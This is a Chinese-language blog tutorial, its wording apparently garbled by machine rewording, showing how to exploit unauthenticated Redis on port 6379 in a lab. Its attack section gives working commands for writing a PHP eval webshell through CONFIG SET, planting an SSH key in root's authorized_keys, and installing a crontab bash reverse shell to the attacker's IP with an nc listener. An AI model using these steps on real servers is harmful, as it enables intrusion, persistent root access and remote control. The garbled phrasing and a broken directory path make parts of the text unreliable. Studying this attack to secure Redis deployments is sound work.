最先,第一个重现Redis未受权浏览这一系统漏洞是有缘故的,在 2019-07-24 的某一天,我同学们的服务器忽然尤其卡,卡到连不上的那类,根据 top,free,netstat 等指令查询后发觉,CPU占有200%,而且存有异常过程,在许多 目录下发觉了异常文档。历经清查后,明确为整盘感柒的挖矿病毒,而很有可能的通道便是 Redis 的 6379 端口号。
1.0系统漏洞伤害
Redis 在默认设置安裝状况下,关联的端口号为 6379 ,沒有加上过服务器防火墙信任感标准,改动默认设置端口号等安全防护对策,这等同于立即将 Redis服务项目曝露到公在网上,要是没有密码设置验证(默认设置为空)的状况,会造成 随意客户都可以浏览总体目标服务器--即未受权浏览Redis及其载入Redis的数据信息。假如配攻击者未受权浏览Redis的状况下,可利用Redis本身出示的config指令,开展文档的存取数据,攻击者能够立即将自身的ssh公钥载入总体目标服务器的/root/.shh文件夹名称的authotrized_keys文件中,从而立即应用相匹配公钥根据SSH登陆总体目标服务器。
1.1简易而言
攻击者不用受权,立即载入內部数据信息,造成 比较敏感数据泄露。
攻击者能够立即根据指令读写能力文档,嵌入侧门。
假如Redis以root真实身份运作,攻击者能够将SSH公钥载入root帐户下,立即根据SSH登陆总体目标服务器
1.2危害版本号
现阶段检测(自身)
Redis 2.x 4.x 5.x 都存有,可检测,以具体自然环境为主导
2.0Redis的自然环境构建
安裝/自然环境配备
免费下载 Redis 安装文件 / 并缓解压力到特定目录
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar -zxf redis-2.8.17.tar.gz -C[特定目录]
进到Redis目录 / 运作 make 安裝
cd http://www.ots-sec.cn/ots911/modules/redis-2.8.17/
make
安裝取得成功
拷贝起动程序流程到 /usr/bin/ 目录下
进到 redis-2.8.17/src 拷贝 redis-cli、redis-server 到 /usr/bin/ 目录下便捷redis起动
将redis.conf拷到/opt/目录下
打开服务器防火墙开启6379端口号
要不然外网地址联接不上
服务器防火墙打开6379端口号
iptables -I INPUT -p tcp --dport 6379 -j ACCEPT
2.2 打开redis服务项目
特定环境变量打开服务项目
redis-server /opt/redis.conf
2.3本地检测联接
手机客户端登陆
redis-cli
检测ping指令
查询密匙
接下去演试攻击者利用未受权浏览系统漏洞
3.0未受权浏览系统漏洞演试
这儿我选择Kali做为战机
3.1在kali上安裝/配备Redis
吊舱 IP : 192.168.80.11
战机 IP : 192.168.80.134
3.2 应用Redis手机客户端立即浏览无登陆密码的redis
手机客户端登陆 redis-cli -h 192.168.80.11
从登陆結果能够看得出redis服务项目被曝露在公在网上,而且沒有开启身份验证
接下去进一步渗入
利用redis的config写webshell
利用标准:
redis未受权,攻击者能够立即用手机客户端联接,且未认证登陆
打开了web服务器,而且获知途径(能够利用phpinfo或是不正确爆途径等)
必须有读写能力文档的管理权限,这种全是能够试着的测试用例
我这里用以前构建好的Nginx PHP web服务器来检测
试着载入webshell到web服务器内(/usr/local/nginx/html 假定获知了web服务器的根目录)
利用config指令开展文档读写能力:
CONFIG SET dir /usr/local/nginx/html 设定文档目录
CONFIG SET dbfilename shell.php 设定文件夹名称
SET webshell "<?php eval($_POST['r0cky']);?>" 写文档內容
save 储存到特定途径
查询载入的文档
然后试着c刀联接或是蚁剑
url :http://192.168.80.11/shell.php
3.3利用“公与私钥”验证获得root管理权限
吊舱打开redis服务项目
redis-server /opt/redis.conf
在战机生成ssh公钥和公钥,设置密码为空
ssh-keygen -t rsa
将形成的公钥储存到文档中
进到到.ssh文件夹名称内 cd ~/.ssh/ 我这里是root客户目录
储存公钥到gssh.txt文件
(echo -e "
";cat id_rsa.pub;echo -e "
") > gssh.txt
联接redis服务项目载入文档
将储存的公钥载入到redis服务器上
cat gssh.txt | redis-cli -h 192.168.80.11 -x set crackit
远程登陆吊舱的redis服务项目
redis-cli -h 192.168.80.11
获得redis备份数据的途径
CONFIG GET dir
变更redis备份数据途径为ssh公钥储放目录(一般默认设置为/root/.ssh)
CONFIG SET dir /root/.ssh/
这一说明,总体目标服务器root沒有ssh公与私钥,必须手动式建立一个
再说设定
设定提交公钥的备份数据名叫authorized_keys
CONFIG SET dbfilename authorized_keys
查询是不是变更取得成功 CONFIG GET dbfilename
储存&撤出
save & exit
那样就取得成功的载入ssh公钥到总体目标服务器上
攻击者应用ssh免密支付登陆总体目标服务器
ssh -i id_rsa root@192.168.80.11
3.4 利用crontab反跳shell
在战机上打开端口号监视
nc -lvnp 10086 端口号未被占有
根据redis向总体目标服务器载入任务计划
任务计划:*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.80.134/10086 0>&1
联接redis,载入反跳shell
redis-cli -h 192.168.80.11 联接redis
载入任务计划每过一分钟向自身的IP端口号推送shell
SET cron "
*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.80.134/10086 0>&1
"
CONFIG SET dir /var/spool/cron
CONFIG SET dbfilename root
save
间距一分钟后接到反跳回家的shell
运行命令
{ X}
至此Redis未授权访问的漏洞基本上就如上述演示
上一篇探索:大疆Spark无人机劫持分析下一篇【逻辑漏洞】任意账号密码重置